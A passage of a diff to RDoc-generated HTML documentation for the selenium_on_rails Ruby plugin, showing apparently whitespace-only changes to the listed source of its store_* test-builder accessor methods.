+301:     <span class="ruby-identifier">command</span> <span class="ruby-value str">'storeBodyText'</span>, <span class="ruby-identifier">variable_name</span>
 302:   <span class="ruby-keyword kw">end</span>
 </pre>
           </div>
@@ -846,8 +846,8 @@ Related Assertions, automatically generated:
           <div class="method-source-code" id="M000108-source">
 <pre>
      <span class="ruby-comment cmt"># File lib/selenium_on_rails/test_builder_accessors.rb, line 370</span>
-370:   <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">store_checked</span> <span class="ruby-identifier">locator</span>, <span class="ruby-identifier">variable_name</span>
-371:     <span class="ruby-identifier">command</span> <span class="ruby-value str">'storeChecked'</span>, <span class="ruby-identifier">locator</span>, <span class="ruby-identifier">variable_name</span>
+370:   <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">store_checked</span> <span class="ruby-identifier">locator</span>, <span class="ruby-identifier">variable_name</span>
+371:     <span class="ruby-identifier">command</span> <span class="ruby-value str">'storeChecked'</span>, <span class="ruby-identifier">locator</span>, <span class="ruby-identifier">variable_name</span>
 372:   <span class="ruby-keyword kw">end</span>
 </pre>
           </div>
@@ -913,8 +913,8 @@ Related Assertions, automatically generated:
           <div class="method-source-code" id="M000098-source">
 <pre>
      <span class="ruby-comment cmt"># File lib/selenium_on_rails/test_builder_accessors.rb, line 209</span>
-209:   <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">store_confirmation</span> <span class="ruby-identifier">variable_name</span>
-210:     <span class="ruby-identifier">command</span> <span class="ruby-value str">'storeConfirmation'</span>, <span class="ruby-identifier">variable_name</span>
+209:   <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">store_confirmation</span> <span class="ruby-identifier">variable_name</span>
+210:     <span class="ruby-identifier">command</span> <span class="ruby-value str">'storeConfirmation'</span>, <span class="ruby-identifier">variable_name</span>
 211:   <span class="ruby-keyword kw">end</span>
 </pre>
           </div>
@@ -962,8 +962,8 @@ Related Assertions, automatically generated:
           <div class="method-source-code" id="M000094-source">
 <pre>
      <span class="ruby-comment cmt"># File lib/selenium_on_rails/test_builder_accessors.rb, line 128</span>
-128:   <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">store_confirmation_present</span> <span class="ruby-identifier">variable_name</span>
-129:     <span class="ruby-identifier">command</span> <span class="ruby-value str">'storeConfirmationPresent'</span>, <span class="ruby-identifier">variable_name</span>
+128:   <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">store_confirmation_present</span> <span class="ruby-identifier">variable_name</span>
+129:     <span class="ruby-identifier">command</span> <span class="ruby-value str">'storeConfirmationPresent'</span>, <span class="ruby-identifier">variable_name</span>
 130:   <span class="ruby-keyword kw">end</span>
 </pre>
           </div>
@@ -1011,8 +1011,8 @@ Related Assertions, automatically generated:
           <div class="method-source-code" id="M000095-source">
 <pre>
      <span class="ruby-comment cmt"># File lib/selenium_on_rails/test_builder_accessors.rb, line 141</span>
-141:   <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">store_cookie</span> <span class="ruby-identifier">variable_name</span>
-142:     <span class="ruby-identifier">command</span> <span class="ruby-value str">'storeCookie'</span>, <span class="ruby-identifier">variable_name</span>
+141:   <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">store_cookie</span> <span class="ruby-identifier">variable_name</span>
+142:     <span class="ruby-identifier">command</span> <span class="ruby-value str">'storeCookie'</span>, <span class="ruby-identifier">variable_name</span>
 143:   <span class="ruby-keyword kw">end</span>
 </pre>
           </div>
@@ -1065,8 +1065,8 @@ Related Assertions, automatically generated:
           <div class="method-source-code" id="M000096-source">
 <pre>
      <span class="ruby-comment cmt"># File lib/selenium_on_rails/test_builder_accessors.rb, line 158</span>
-158:   <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">store_cursor_position</span> <span class="ruby-identifier">locator</span>, <span class="ruby-identifier">variable_name</span>
-159:     <span class="ruby-identifier">command</span> <span class="ruby-value str">'storeCursorPosition'</span>, <span class="ruby-identifier">locator</span>, <span class="ruby-identifier">variable_name</span>
+158:   <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">store_cursor_position</span> <span class="ruby-identifier">locator</span>, <span class="ruby-identifier">variable_name</span>
+159:     <span class="ruby-identifier">command</span> <span class="ruby-value str">'storeCursorPosition'</span>, <span class="ruby-identifier">locator</span>, <span class="ruby-identifier">variable_name</span>
 160:   <span class="ruby-keyword kw">end</span>
 </pre>
           </div>
@@ -1116,8 +1116,8 @@ Related Assertions, automatically generated:
           <div class="method-source-code" id="M000133-source">
 <pre>
      <span class="ruby-comment cmt"># File lib/selenium_on_rails/test_builder_accessors.rb, line 734</span>
-734:   <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">store_editable</span> <span class="ruby-identifier">locator</span>, <span class="ruby-identifier">variable_name</span>
-735:     <span class="ruby-identifier">command</span> <span class="ruby-value str">'storeEditable'</span>, <span class="ruby-identifier">locator</span>, <span class="ruby-identifier">variable_name</span>
+734:   <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">store_editable</span> <span class="ruby-identifier">locator</span>, <span class="ruby-identifier">variable_name</span>
+735:     <span class="ruby-identifier">command</span> <span class="ruby-value str">'storeEditable'</span>, <span class="ruby-identifier">locator</span>, <span class="ruby-identifier">variable_name</span>
 736:   <span class="ruby-keyword kw">end</span>
 </pre>
           </div>
@@ -1166,8 +1166,8 @@ Related Assertions, automatically generated:
           <div class="method-source-code" id="M000127-source">
 <pre>
      <span class="ruby-comment cmt"># File lib/selenium_on_rails/test_builder_accessors.rb, line 650</span>
-650:   <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">store_element_height</span> <span class="ruby-identifier">locator</span>, <span class="ruby-identifier">variable_name</span>
-651:     <span class="ruby-identifier">command</span> <span class="ruby-value str">'storeElementHeight'</span>, <span class="ruby-identifier">locator</span>, <span class="ruby-identifier">variable_name</span>
+650:   <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">store_element_height</span> <span class="ruby-identifier">locator</span>, <span class="ruby-identifier">variable_name</span>
+651:     <span class="ruby-identifier">command</span> <span class="ruby-value str">'storeElementHeight'</span>, <span class="ruby-identifier">locator</span>, <span class="ruby-identifier">variable_name</span>
 652:   <span class="ruby-keyword kw">end</span>
 </pre>
           </div>
@@ -1216,8 +1216,8 @@ Related Assertions, automatically generated:
           <div class="method-source-code" id="M000128-source">
 <pre>
      <span class="ruby-comment cmt"># File lib/selenium_on_rails/test_builder_accessors.rb, line 664</span>
-664:   <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">store_element_index</span> <span class="ruby-identifier">locator</span>, <span class="ruby-identifier">variable_name</span>
-665:     <span class="ruby-identifier">command</span> <span class="ruby-value str">'storeElementIndex'</span>, <span class="ruby-identifier">locator</span>, <span class="ruby-identifier">variable_name</span>
+664:   <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">store_element_index</span> <span class="ruby-identifier">locator</span>, <span class="ruby-identifier">variable_name</span>
+665:     <span class="ruby-identifier">command</span> <span class="ruby-value str">'storeElementIndex'</span>, <span class="ruby-identifier">locator</span>, <span class="ruby-identifier">variable_name</span>
 666:   <span class="ruby-keyword kw">end</span>
 </pre>
           </div>
@@ -1266,8 +1266,8 @@ Related Assertions, automatically generated:
           <div class="method-source-code" id="M000130-source">
 <pre>
      <span class="ruby-comment cmt"># File lib/selenium_on_rails/test_builder_accessors.rb, line 692</span>
-692:   <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">store_element_position_left</span> <span class="ruby-identifier">locator</span>, <span class="ruby-identifier">variable_name</span>
-693:     <span class="ruby-identifier">command</span> <span class="ruby-value str">'storeElementPositionLeft'</span>, <span class="ruby-identifier">locator</span>, <span class="ruby-identifier">variable_name</span>
+692:   <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">store_element_position_left</span> <span class="ruby-identifier">locator</span>, <span class="ruby-identifier">variable_name</span>
+693:     <span class="ruby-identifier">command</span> <span class="ruby-value str">'storeElementPositionLeft'</span>, <span class="ruby-identifier">locator</span>, <span class="ruby-identifier">variable_name</span>
 694:   <span class="ruby-keyword kw">end</span>
 </pre>
           </div>
@@ -1316,8 +1316,8 @@ Related Assertions, automatically generated:
           <div class="method-source-code" id="M000131-source">
 <pre>
      <span class="ruby-comment cmt"># File lib/selenium_on_rails/test_builder_accessors.rb, line 706</span>
-706:   <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">store_element_position_top</span> <span class="ruby-identifier">locator</span>, <span class="ruby-identifier">variable_name</span>
-707:     <span class="ruby-identifier">command</span> <span class="ruby-value str">'storeElementPositionTop'</span>, <span class="ruby-identifier">locator</span>, <span class="ruby-identifier">variable_name</span>
+706:   <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">store_element_position_top</span> <span class="ruby-identifier">locator</span>, <span class="ruby-identifier">variable_name</span>
+707:     <span class="ruby-identifier">command</span> <span class="ruby-value str">'storeElementPositionTop'</span>, <span class="ruby-identifier">locator</span>, <span class="ruby-identifier">variable_name</span>
 708:   <span class="ruby-keyword kw">end</span>
 </pre>
           </div>
@@ -1365,8 +1365,8 @@ Related Assertions, automatically generated:
           <div class="method-source-code" id="M000125-source">
 <pre>
      <span class="ruby-comment cmt"># File lib/selenium_on_rails/test_builder_accessors.rb, line 620</span>
-620:   <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">store_element_present</span> <span class="ruby-identifier">locator</span>, <span class="ruby-identifier">variable_name</span>
-621:     <span class="ruby-identifier">command</span> <span class="ruby-value str">'storeElementPresent'</span>, <span class="ruby-identifier">locator</span>, <span class="ruby-identifier">variable_name</span>
+620:   <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">store_element_present</span> <span class="ruby-identifier">locator</span>, <span class="ruby-identifier">variable_name</span>
+621:     <span class="ruby-identifier">command</span> <span class="ruby-value str">'storeElementPresent'</span>, <span class="ruby-identifier">locator</span>, <span class="ruby-identifier">variable_name</span>
 622:   <span class="ruby-keyword kw">end</span>
 </pre>
           </div>
@@ -1415,8 +1415,8 @@ Related Assertions, automatically generated:
           <div class="method-source-code" id="M000129-source">
 <pre>
      <span class="ruby-comment cmt"># File lib/selenium_on_rails/test_builder_accessors.rb, line 678</span>
-678:   <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">store_element_width</span> <span class="ruby-identifier">locator</span>, <span class="ruby-identifier">variable_name</span>
-679:     <span class="ruby-identifier">command</span> <span class="ruby-value str">'storeElementWidth'</span>, <span class="ruby-identifier">locator</span>, <span class="ruby-identifier">variable_name</span>
+678:   <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">store_element_width</span> <span class="ruby-identifier">locator</span>, <span class="ruby-identifier">variable_name</span>
+679:     <span class="ruby-identifier">command</span> <span class="ruby-value str">'storeElementWidth'</span>, <span class="ruby-identifier">locator</span>, <span class="ruby-identifier">variable_name</span>
 680:   <span class="ruby-keyword kw">end</span>
 </pre>
           </div>
@@ -1470,8 +1470,8 @@ Related Assertions, automatically generated:
           <div class="method-source-code" id="M000086-source">
 <pre>
     <span class="ruby-comment cmt"># File lib/selenium_on_rails/test_builder_accessors.rb, line 20</span>
-20:   <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">store_error_on_next</span> <span class="ruby-identifier">message</span>
-21:     <span class="ruby-identifier">raise</span> <span class="ruby-value str">'Not supported in Selenium Core at the moment'</span>
+20:   <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">store_error_on_next</span> <span class="ruby-identifier">message</span>
+21:     <span class="ruby-identifier">raise</span> <span class="ruby-value str">'Not supported in Selenium Core at the moment'</span>
 22:   <span class="ruby-keyword kw">end</span>
 </pre>
           </div>
@@ -1534,8 +1534,8 @@ Related Assertions, automatically generated:
           <div class="method-source-code" id="M000107-source">
 <pre>
      <span class="ruby-comment cmt"># File lib/selenium_on_rails/test_builder_accessors.rb, line 356</span>
-356:   <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">store_eval</span> <span class="ruby-identifier">script</span>, <span class="ruby-identifier">variable_name</span>
-357:     <span class="ruby-identifier">command</span> <span class="ruby-value str">'storeEval'</span>, <span class="ruby-identifier">script</span>, <span class="ruby-identifier">variable_name</span>
+356:   <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">store_eval</span> <span class="ruby-identifier">script</span>, <span class="ruby-identifier">variable_name</span>
+357:     <span class="ruby-identifier">command</span> <span class="ruby-value str">'storeEval'</span>, <span class="ruby-identifier">script</span>, <span class="ruby-identifier">variable_name</span>
 358:   <span class="ruby-keyword kw">end</span>
 </pre>
           </div>
@@ -1586,8 +1586,8 @@ Related Assertions, automatically generated:
           <div class="method-source-code" id="M000138-source">
 <pre>
      <span class="ruby-comment cmt"># File lib/selenium_on_rails/test_builder_accessors.rb, line 822</span>
-822:   <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">store_expression</span> <span class="ruby-identifier">expression</span>, <span class="ruby-identifier">variable_name</span>
-823:     <span class="ruby-identifier">command</span> <span class="ruby-value str">'storeExpression'</span>, <span class="ruby-identifier">expression</span>, <span class="ruby-identifier">variable_name</span>
+822:   <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">store_expression</span> <span class="ruby-identifier">expression</span>, <span class="ruby-identifier">variable_name</span>
+823:     <span class="ruby-identifier">command</span> <span class="ruby-value str">'storeExpression'</span>, <span class="ruby-identifier">expression</span>, <span class="ruby-identifier">variable_name</span>
 824:   <span class="ruby-keyword kw">end</span>
 </pre>
           </div>
@@ -1641,8 +1641,8 @@ Related Assertions, automatically generated:
           <div class="method-source-code" id="M000087-source">
 <pre>
     <span class="ruby-comment cmt"># File lib/selenium_on_rails/test_builder_accessors.rb, line 37</span>
-37:   <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">store_failure_on_next</span> <span class="ruby-identifier">message</span>
-38:     <span class="ruby-identifier">raise</span> <span class="ruby-value str">'Not supported in Selenium Core at the moment'</span>
+37:   <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">store_failure_on_next</span> <span class="ruby-identifier">message</span>
+38:     <span class="ruby-identifier">raise</span> <span class="ruby-value str">'Not supported in Selenium Core at the moment'</span>
 39:   <span class="ruby-keyword kw">end</span>
 </pre>
           </div>
@@ -1691,8 +1691,8 @@ Related Assertions, automatically generated:
           <div class="method-source-code" id="M000137-source">
 <pre>
      <span class="ruby-comment cmt"># File lib/selenium_on_rails/test_builder_accessors.rb, line 807</span>
-807:   <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">store_html_source</span> <span class="ruby-identifier">variable_name</span>
-808:     <span class="ruby-identifier">command</span> <span class="ruby-value str">'storeHtmlSource'</span>, <span class="ruby-identifier">variable_name</span>
+807:   <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">store_html_source</span> <span class="ruby-identifier">variable_name</span>
+808:     <span class="ruby-identifier">command</span> <span class="ruby-value str">'storeHtmlSource'</span>, <span class="ruby-identifier">variable_name</span>
 809:   <span class="ruby-keyword kw">end</span>
 </pre>
           </div>
@@ -1741,8 +1741,8 @@ Related Assertions, automatically generated:
           <div class="method-source-code" id="M000101-source">
 <pre>
      <span class="ruby-comment cmt"># File lib/selenium_on_rails/test_builder_accessors.rb, line 260</span>
-260:   <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">store_location</span> <span class="ruby-identifier">expected_location</span>, <span class="ruby-identifier">variable_name</span>
-261:     <span class="ruby-identifier">command</span> <span class="ruby-value str">'storeLocation'</span>, <span class="ruby-identifier">expected_location</span>, <span class="ruby-identifier">variable_name</span>
+260:   <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">store_location</span> <span class="ruby-identifier">expected_location</span>, <span class="ruby-identifier">variable_name</span>
+261:     <span class="ruby-identifier">command</span> <span class="ruby-value str">'storeLocation'</span>, <span class="ruby-identifier">expected_location</span>, <span class="ruby-identifier">variable_name</span>
 262:   <span class="ruby-keyword kw">end</span>
 </pre>
           </div>
@@ -1790,8 +1790,8 @@ Related Assertions, automatically generated:
           <div class="method-source-code" id="M000132-source">
 <pre>
      <span class="ruby-comment cmt"># File lib/selenium_on_rails/test_builder_accessors.rb, line 719</span>
-719:   <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">store_log_messages</span> <span class="ruby-identifier">variable_name</span>
-720:     <span class="ruby-identifier">command</span> <span class="ruby-value str">'storeLogMessages'</span>, <span class="ruby-identifier">variable_name</span>
+719:   <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">store_log_messages</span> <span class="ruby-identifier">variable_name</span>
+720:     <span class="ruby-identifier">command</span> <span class="ruby-value str">'storeLogMessages'</span>, <span class="ruby-identifier">variable_name</span>
 721:   <span class="ruby-keyword kw">end</span>
 </pre>
           </div>
@@ -1840,8 +1840,8 @@ Related Assertions, automatically generated:
           <div class="method-source-code" id="M000102-source">
 <pre>
      <span class="ruby-comment cmt"># File lib/selenium_on_rails/test_builder_accessors.rb, line 274</span>
-274:   <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">store_mouse_speed</span> <span class="ruby-identifier">variable_name</span>
-275:     <span class="ruby-identifier">command</span> <span class="ruby-value str">'storeMouseSpeed'</span>, <span class="ruby-identifier">variable_name</span>
+274:   <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">store_mouse_speed</span> <span class="ruby-identifier">variable_name</span>
+275:     <span class="ruby-identifier">command</span> <span class="ruby-value str">'storeMouseSpeed'</span>, <span class="ruby-identifier">variable_name</span>
 276:   <span class="ruby-keyword kw">end</span>
 </pre>
           </div>
@@ -1895,8 +1895,8 @@ Related Assertions, automatically generated:
           <div class="method-source-code" id="M000123-source">
 <pre>
      <span class="ruby-comment cmt"># File lib/selenium_on_rails/test_builder_accessors.rb, line 593</span>
-593:   <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">store_ordered</span> <span class="ruby-identifier">locator_1</span>, <span class="ruby-identifier">locator_2</span>, <span class="ruby-identifier">variable_name</span>
-594:     <span class="ruby-identifier">raise</span> <span class="ruby-value str">'Not supported in Selenium Core at the moment'</span>
+593:   <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">store_ordered</span> <span class="ruby-identifier">locator_1</span>, <span class="ruby-identifier">locator_2</span>, <span class="ruby-identifier">variable_name</span>
+594:     <span class="ruby-identifier">raise</span> <span class="ruby-value str">'Not supported in Selenium Core at the moment'</span>
 595:   <span class="ruby-keyword kw">end</span>
 </pre>
           </div>
@@ -1958,8 +1958,8 @@ Related Assertions, automatically generated:
           <div class="method-source-code" id="M000099-source">
 <pre>
      <span class="ruby-comment cmt"># File lib/selenium_on_rails/test_builder_accessors.rb, line 233</span>
-233:   <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">store_prompt</span> <span class="ruby-identifier">variable_name</span>
-234:     <span class="ruby-identifier">command</span> <span class="ruby-value str">'storePrompt'</span>, <span class="ruby-identifier">variable_name</span>
+233:   <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">store_prompt</span> <span class="ruby-identifier">variable_name</span>
+234:     <span class="ruby-identifier">command</span> <span class="ruby-value str">'storePrompt'</span>, <span class="ruby-identifier">variable_name</span>
 235:   <span class="ruby-keyword kw">end</span>
 </pre>
           </div>
@@ -2007,8 +2007,8 @@ Related Assertions, automatically generated:
           <div class="method-source-code" id="M000093-source">
 <pre>
      <span class="ruby-comment cmt"># File lib/selenium_on_rails/test_builder_accessors.rb, line 115</span>
-115:   <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">store_prompt_present</span> <span class="ruby-identifier">variable_name</span>
-116:     <span class="ruby-identifier">command</span> <span class="ruby-value str">'storePromptPresent'</span>, <span class="ruby-identifier">variable_name</span>
+115:   <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">store_prompt_present</span> <span class="ruby-identifier">variable_name</span>
+116:     <span class="ruby-identifier">command</span> <span class="ruby-value str">'storePromptPresent'</span>, <span class="ruby-identifier">variable_name</span>
 117:   <span class="ruby-keyword kw">end</span>
 </pre>
           </div>
@@ -2064,8 +2064,8 @@ Related Assertions, automatically generated:
           <div class="method-source-code" id="M000121-source">
 <pre>
      <span class="ruby-comment cmt"># File lib/selenium_on_rails/test_builder_accessors.rb, line 564</span>
-564:   <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">store_select_options</span> <span class="ruby-identifier">locator</span>, <span class="ruby-identifier">variable_name</span>
-565:     <span class="ruby-identifier">command</span> <span class="ruby-value str">'storeSelectOptions'</span>, <span class="ruby-identifier">locator</span>, <span class="ruby-identifier">variable_name</span>
+564:   <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">store_select_options</span> <span class="ruby-identifier">locator</span>, <span class="ruby-identifier">variable_name</span>
+565:     <span class="ruby-identifier">command</span> <span class="ruby-value str">'storeSelectOptions'</span>, <span class="ruby-identifier">locator</span>, <span class="ruby-identifier">variable_name</span>
 566:   <span class="ruby-keyword kw">end</span>
 </pre>
           </div>
@@ -2126,8 +2126,8 @@ Related Assertions, automatically generated:
           <div class="method-source-code" id="M000110-source">
 <pre>
      <span class="ruby-comment cmt"># File lib/selenium_on_rails/test_builder_accessors.rb, line 403</span>
-403:   <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">store_selected</span> <span class="ruby-identifier">locator</span>, <span class="ruby-identifier">option_locator</span>, <span class="ruby-identifier">variable_name</span>
-404:     <span class="ruby-identifier">raise</span> <span class="ruby-value str">'Not supported in Selenium Core at the moment'</span>
+403:   <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">store_selected</span> <span class="ruby-identifier">locator</span>, <span class="ruby-identifier">option_locator</span>, <span class="ruby-identifier">variable_name</span>
+404:     <span class="ruby-identifier">raise</span> <span class="ruby-value str">'Not supported in Selenium Core at the moment'</span>
 405:   <span class="ruby-keyword kw">end</span>
 </pre>
           </div>
@@ -2175,8 +2175,8 @@ Related Assertions, automatically generated:
           <div class="method-source-code" id="M000111-source">
 <pre>
      <span class="ruby-comment cmt"># File lib/selenium_on_rails/test_builder_accessors.rb, line 416</span>
-416:   <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">store_selected_id</span> <span class="ruby-identifier">select_locator</span>, <span class="ruby-identifier">variable_name</span>
-417:     <span class="ruby-identifier">command</span> <span class="ruby-value str">'storeSelectedId'</span>, <span class="ruby-identifier">select_locator</span>, <span class="ruby-identifier">variable_name</span>
+416:   <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">store_selected_id</span> <span class="ruby-identifier">select_locator</span>, <span class="ruby-identifier">variable_name</span>
+417:     <span class="ruby-identifier">command</span> <span class="ruby-value str">'storeSelectedId'</span>, <span class="ruby-identifier">select_locator</span>, <span class="ruby-identifier">variable_name</span>
 418:   <span class="ruby-keyword kw">end</span>
 </pre>
           </div>
@@ -2225,8 +2225,8 @@ Related Assertions, automatically generated:
           <div class="method-source-code" id="M000112-source">
 <pre>
      <span class="ruby-comment cmt"># File lib/selenium_on_rails/test_builder_accessors.rb, line 430</span>
-430:   <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">store_selected_ids</span> <span class="ruby-identifier">select_locator</span>, <span class="ruby-identifier">variable_name</span>
-431:     <span class="ruby-identifier">command</span> <span class="ruby-value str">'storeSelectedIds'</span>, <span class="ruby-identifier">select_locator</span>, <span class="ruby-identifier">variable_name</span>
+430:   <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">store_selected_ids</span> <span class="ruby-identifier">select_locator</span>, <span class="ruby-identifier">variable_name</span>
+431:     <span class="ruby-identifier">command</span> <span class="ruby-value str">'storeSelectedIds'</span>, <span class="ruby-identifier">select_locator</span>, <span class="ruby-identifier">variable_name</span>
 432:   <span class="ruby-keyword kw">end</span>
 </pre>
           </div>
@@ -2275,8 +2275,8 @@ Related Assertions, automatically generated:
           <div class="method-source-code" id="M000113-source">
 <pre>
      <span class="ruby-comment cmt"># File lib/selenium_on_rails/test_builder_accessors.rb, line 444</span>
-444:   <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">store_selected_index</span> <span class="ruby-identifier">select_locator</span>, <span class="ruby-identifier">variable_name</span>
-445:     <span class="ruby-identifier">command</span> <span class="ruby-value str">'storeSelectedIndex'</span>, <span class="ruby-identifier">select_locator</span>, <span class="ruby-identifier">variable_name</span>
+444:   <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">store_selected_index</span> <span class="ruby-identifier">select_locator</span>, <span class="ruby-identifier">variable_name</span>
+445:     <span class="ruby-identifier">command</span> <span class="ruby-value str">'storeSelectedIndex'</span>, <span class="ruby-identifier">select_locator</span>, <span class="ruby-identifier">variable_name</span>
 446:   <span class="ruby-keyword kw">end</span>
 </pre>
           </div>
@@ -2325,8 +2325,8 @@ Related Assertions, automatically generated:
           <div class="method-source-code" id="M000114-source">
 <pre>
      <span class="ruby-comment cmt"># File lib/selenium_on_rails/test_builder_accessors.rb, line 458</span>
-458:   <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">store_selected_indexes</span> <span class="ruby-identifier">select_locator</span>, <span class="ruby-identifier">variable_name</span>
-459:     <span class="ruby-identifier">command</span> <span class="ruby-value str">'storeSelectedIndexes'</span>, <span class="ruby-identifier">select_locator</span>, <span class="ruby-identifier">variable_name</span>
+458:   <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">store_selected_indexes</span> <span class="ruby-identifier">select_locator</span>, <span class="ruby-identifier">variable_name</span>
+459:     <span class="ruby-identifier">command</span> <span class="ruby-value str">'storeSelectedIndexes'</span>, <span class="ruby-identifier">select_locator</span>, <span class="ruby-identifier">variable_name</span>
 460:   <span class="ruby-keyword kw">end</span>
 </pre>
           </div>
@@ -2375,8 +2375,8 @@ Related Assertions, automatically generated:
           <div class="method-source-code" id="M000115-source">
 <pre>
      <span class="ruby-comment cmt"># File lib/selenium_on_rails/test_builder_accessors.rb, line 472</span>
-472:   <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">store_selected_label</span> <span class="ruby-identifier">select_locator</span>, <span class="ruby-identifier">variable_name</span>
-473:     <span class="ruby-identifier">command</span> <span class="ruby-value str">'storeSelectedLabel'</span>, <span class="ruby-identifier">select_locator</span>, <span class="ruby-identifier">variable_name</span>
+472:   <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">store_selected_label</span> <span class="ruby-identifier">select_locator</span>, <span class="ruby-identifier">variable_name</span>
+473:     <span class="ruby-identifier">command</span> <span class="ruby-value str">'storeSelectedLabel'</span>, <span class="ruby-identifier">select_locator</span>, <span class="ruby-identifier">variable_name</span>
 474:   <span class="ruby-keyword kw">end</span>
 </pre>
           </div>
@@ -2425,8 +2425,8 @@ Related Assertions, automatically generated:
           <div class="method-source-code" id="M000116-source">
 <pre>
      <span class="ruby-comment cmt"># File lib/selenium_on_rails/test_builder_accessors.rb, line 486</span>
-486:   <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">store_selected_labels</span> <span class="ruby-identifier">select_locator</span>, <span class="ruby-identifier">variable_name</span>
-487:     <span class="ruby-identifier">command</span> <span class="ruby-value str">'storeSelectedLabels'</span>, <span class="ruby-identifier">select_locator</span>, <span class="ruby-identifier">variable_name</span>
+486:   <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">store_selected_labels</span> <span class="ruby-identifier">select_locator</span>, <span class="ruby-identifier">variable_name</span>
+487:     <span class="ruby-identifier">command</span> <span class="ruby-value str">'storeSelectedLabels'</span>, <span class="ruby-identifier">select_locator</span>, <span class="ruby-identifier">variable_name</span>
 488:   <span class="ruby-keyword kw">end</span>
 </pre>
           </div>
@@ -2483,8 +2483,8 @@ Related Assertions, automatically generated:
           <div class="method-source-code" id="M000120-source">
 <pre>
      <span class="ruby-comment cmt"># File lib/selenium_on_rails/test_builder_accessors.rb, line 546</span>
-546:   <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">store_selected_options</span> <span class="ruby-identifier">locator</span>, <span class="ruby-identifier">variable_name</span>
-547:     <span class="ruby-identifier">command</span> <span class="ruby-value str">'storeSelectedOptions'</span>, <span class="ruby-identifier">locator</span>, <span class="ruby-identifier">variable_name</span>
+546:   <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">store_selected_options</span> <span class="ruby-identifier">locator</span>, <span class="ruby-identifier">variable_name</span>
+547:     <span class="ruby-identifier">command</span> <span class="ruby-value str">'storeSelectedOptions'</span>, <span class="ruby-identifier">locator</span>, <span class="ruby-identifier">variable_name</span>
 548:   <span class="ruby-keyword kw">end</span>
 </pre>
           </div>
@@ -2533,8 +2533,8 @@ Related Assertions, automatically generated:
           <div class="method-source-code" id="M000117-source">
 <pre>
      <span class="ruby-comment cmt"># File lib/selenium_on_rails/test_builder_accessors.rb, line 500</span>
-500:   <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">store_selected_value</span> <span class="ruby-identifier">select_locator</span>, <span class="ruby-identifier">variable_name</span>
-501:     <span class="ruby-identifier">command</span> <span class="ruby-value str">'storeSelectedValue'</span>, <span class="ruby-identifier">select_locator</span>, <span class="ruby-identifier">variable_name</span>
+500:   <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">store_selected_value</span> <span class="ruby-identifier">select_locator</span>, <span class="ruby-identifier">variable_name</span>
+501:     <span class="ruby-identifier">command</span> <span class="ruby-value str">'storeSelectedValue'</span>, <span class="ruby-identifier">select_locator</span>, <span class="ruby-identifier">variable_name</span>
 502:   <span class="ruby-keyword kw">end</span>
 </pre>
           </div>
@@ -2583,8 +2583,8 @@ Related Assertions, automatically generated:
           <div class="method-source-code" id="M000118-source">
 <pre>
      <span class="ruby-comment cmt"># File lib/selenium_on_rails/test_builder_accessors.rb, line 514</span>
-514:   <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">store_selected_values</span> <span class="ruby-identifier">select_locator</span>, <span class="ruby-identifier">variable_name</span>
